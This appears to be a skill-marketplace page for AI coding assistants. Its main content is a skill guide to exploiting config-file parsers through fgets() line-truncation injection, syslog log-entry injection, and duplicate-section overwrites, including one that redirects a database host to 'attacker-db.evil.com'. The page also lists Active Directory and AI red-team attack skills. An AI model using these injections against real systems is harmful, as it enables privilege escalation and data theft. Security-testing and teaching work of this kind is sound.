メニュー
Exploit config file parser vulnerabilities: line length truncation, duplicate section overwrites, encoding differentials, and fgets()-based C parser bugs. Use when target processes INI/YAML/TOML/properties files, PAM configs, syslog, or any fgets()-based config parser.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Use when beginning a web assessment from a domain, wildcard, ASN, organization, IP list, or CIDR and measurable attack-surface coverage is needed.
Decision tree for selecting AIRT attacks based on goals, target type, and constraints
Common Active Directory attack chains with tool mappings. Covers Kerberoasting, AS-REP roasting, RBCD, AD CS, DCSync, relay attacks, and credential reuse patterns. Use during exploitation and privilege escalation phases.
Decision tree for Active Directory enumeration. Maps enumeration tasks to tools, defines priority signals, and specifies what findings trigger deeper investigation. Use during the enumeration phase of network operations.
Load when performing network operations or Active Directory exploitation. Enforces enumeration-before-attack discipline, credential verification, trust boundary awareness, scope compliance, reversibility preference, and structured reporting. Prevents premature exploitation, credential misuse, and scope violations.
Direct Caido interaction via the caido-sdk-client Python library, bypassing the Caido MCP server. Prefer this over the caido-proxy MCP skill for efficiency WHEN the SDK is importable in the current runtime. If the import fails, or Caido/the MCP is not loaded, fall back to the caido-proxy skill.
| name | config-file-parsing-bugs |
| description | Exploit config file parser vulnerabilities: line length truncation, duplicate section overwrites, encoding differentials, and fgets()-based C parser bugs. Use when target processes INI/YAML/TOML/properties files, PAM configs, syslog, or any fgets()-based config parser. |
Config file parsers silently truncate, silently drop, and silently overwrite. When a security decision depends on parsed config, parser quirks become security bugs.
Config file parsers are vulnerable when:
C-based parsers using fgets() read a fixed number of bytes per line. Excess bytes remain in the input buffer and are read by the NEXT fgets() call as a new line.
inih (C INI parser): Default INI_MAX_LINE = 200 bytes.
[section]
key = AAAA...(195 bytes padding)...\nadmin = true
; Parser sees:
; Line 1 (200 bytes): "key = AAAA...(truncated)"
; Line 2 (remainder): "admin = true" <-- parsed as legitimate entry
PAM pam_group: PAM_GROUP_BUFLEN = 1000 bytes, same pattern.
BSD syslog (RFC 3164): 1024-byte message limit. Pad to 1024, inject newline + fake log entry.
Detection in source code:
// VULNERABLE: fixed-size fgets with no overflow check
char line[200];
while (fgets(line, sizeof(line), fp) != NULL) {
parse_line(line);
}
| Parser | Behavior |
|---|---|
Python configparser | Last section wins, last key wins |
PHP parse_ini_file() | Last key wins within section |
| inih (C) | Last key wins |
Java Properties.load() | Last key wins |
| TOML spec | Duplicate keys are errors (but some parsers silently accept) |
| YAML spec | Last key wins (undefined behavior per spec) |
; Original:
[database]
host = secure-db.internal
; Attacker appends:
[database]
host = attacker-db.evil.com
; Result: app connects to attacker-db.evil.com
; INI_SCANNER_NORMAL treats unquoted ; as comment start
password = s3cret;drop_this
; Parsed value: "s3cret" (everything after ; silently dropped)
INI_SCANNER_NORMAL interprets true/false/null/none as types -- potential type juggling if app uses loose comparison.
Line endings: \r\n vs \n -- Linux parser may include \r in the value.
Unicode whitespace: U+00A0 (non-breaking space), U+200B (zero-width space) -- some parsers treat as part of the value, others as whitespace.
YAML tabs: YAML forbids tabs for indentation but some parsers accept them. Tab width differences can change nesting level.
; systemd: Environment="SECRET=%H-secret" ; %H expands to hostname
; Docker .env: DB_URL=postgres://${DB_HOST}:5432/app
; Shell: source /etc/default/myapp
If you can set an environment variable (via SSRF to cloud metadata, another injection), the expanded value in config may differ from what was validated.
grep -r 'fgets\|MAX_LINE\|BUF.*LEN')